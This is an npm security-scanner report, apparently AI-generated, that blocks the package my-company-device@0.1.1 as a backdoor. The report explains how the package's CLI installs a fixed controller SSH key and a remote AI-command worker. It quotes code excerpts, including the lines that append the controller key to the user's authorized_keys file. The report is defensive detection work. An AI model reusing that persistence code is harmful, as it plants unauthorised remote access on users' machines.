Loading npm security reports…

my-company-device@0.1.1: Malicious npm security report (Block) | LPM Firewall

registry / my-company-device / 0.1.1

my-company-device@0.1.1

One-command macOS executor onboarding for Sun Yiting's private company resource pool

AI Security Review

scanned 4h ago · by lpm-firewall-ai

The CLI persists a controller SSH authorization and installs a remote execution worker. This creates remote-access persistence on a machine that runs the command.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A user runs the package CLI with its default install command.

Impact

A holder of the matching controller key can gain SSH access if remote login is enabled and can invoke the deployed worker.

Mechanism

Adds a controller SSH key and deploys a restricted remote command worker.

Attack narrative

Running the advertised command installs a fixed SSH public key in the current user's authorized keys file, preserves a device record under the home directory, and deploys a worker that can launch approved AI command-line tools. The installer checks whether SSH is reachable and instructs the user to enable remote login. This is a concrete remote-access persistence mechanism, not merely a local configuration helper.

Rationale

Although it has no automatic npm install hook, the explicitly invoked CLI establishes persistent controller SSH access and prepares remote AI-command execution. The package should be blocked because this is concrete backdoor-style persistence.

Evidence

package.jsonscripts/company-device-agent.mjsscripts/device-worker.mjsscripts/device-probe.mjsREADME.md~/.ssh/authorized_keys~/.my-company-device/device.json~/.my-company-device/scripts/device-worker.mjs~/.my-company-device/scripts/device-probe.mjs

Source & flagged code

4 flagged · loading source

scripts/company-device-agent.mjsView file

1#!/usr/bin/env node L2: import { spawnSync } from "node:child_process"; L3: import { chmodSync, copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; ... L31: const result = spawnSync("/usr/bin/env", ["which", name], { encoding: "utf8" }); L32: return result.status === 0 ? result.stdout.trim() : ""; L33: } ... L35: function tailscaleIp() { L36: const explicit = option("--ip", process.env.COMPANY_DEVICE_TAILSCALE_IP || ""); L37: if (explicit) return explicit; ... L51: L52: const home = resolve(process.env.COMPANY_DEVICE_HOME || homedir()); L53: const agentRoot = resolve(process.env.COMPANY_DEVICE_AGENT_ROOT || join(home, ".my-company-device"));

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

scripts/company-device-agent.mjsView on unpkg · L1

1Trigger-reachable chain: manifest.bin -> scripts/company-device-agent.mjs L1: #!/usr/bin/env node L2: import { spawnSync } from "node:child_process"; L3: import { chmodSync, copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; ... L31: const result = spawnSync("/usr/bin/env", ["which", name], { encoding: "utf8" }); L32: return result.status === 0 ? result.stdout.trim() : ""; L33: } ... L35: function tailscaleIp() { L36: const explicit = option("--ip", process.env.COMPANY_DEVICE_TAILSCALE_IP || ""); L37: if (explicit) return explicit; ... L51: L52: const home = resolve(process.env.COMPANY_DEVICE_HOME || homedir()); L53: const agentRoot = resolve(process.env.COMPANY_DEVICE_AGENT_ROOT || join(home, ".my-company-device"));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

scripts/company-device-agent.mjsView on unpkg · L1

1Trigger-reachable persistence chain: manifest.bin -> scripts/company-device-agent.mjs L1: #!/usr/bin/env node L2: import { spawnSync } from "node:child_process"; L3: import { chmodSync, copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; ... L31: const result = spawnSync("/usr/bin/env", ["which", name], { encoding: "utf8" }); L32: return result.status === 0 ? result.stdout.trim() : ""; L33: } ... L35: function tailscaleIp() { L36: const explicit = option("--ip", process.env.COMPANY_DEVICE_TAILSCALE_IP || ""); L37: if (explicit) return explicit; ... L51: L52: const home = resolve(process.env.COMPANY_DEVICE_HOME || homedir()); L53: const agentRoot = resolve(process.env.COMPANY_DEVICE_AGENT_ROOT || join(home, ".my-company-device"));

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

scripts/company-device-agent.mjsView on unpkg · L1

96mkdirSync(sshDir, { recursive: true, mode: 0o700 }); const authorizedKeys = join(sshDir, "authorized_keys"); const existing = existsSync(authorizedKeys) ? readFileSync(authorizedKeys, "utf8") : ""; if (!existing.split(/\r?\n/).includes(CONTROLLER_KEY)) { writeFileSync(authorizedKeys, `${existing}${existing && !existing.endsWith("\n") ? "\n" : ""}${CONTROLLER_KEY}\n`, { mode: 0o600 }); } chmodSync(authorizedKeys, 0o600);

Medium

Stripped Provenance Metadata

The public CLI installs a fixed controller SSH key into the user's authorized keys file.

scripts/company-device-agent.mjsView on unpkg · L96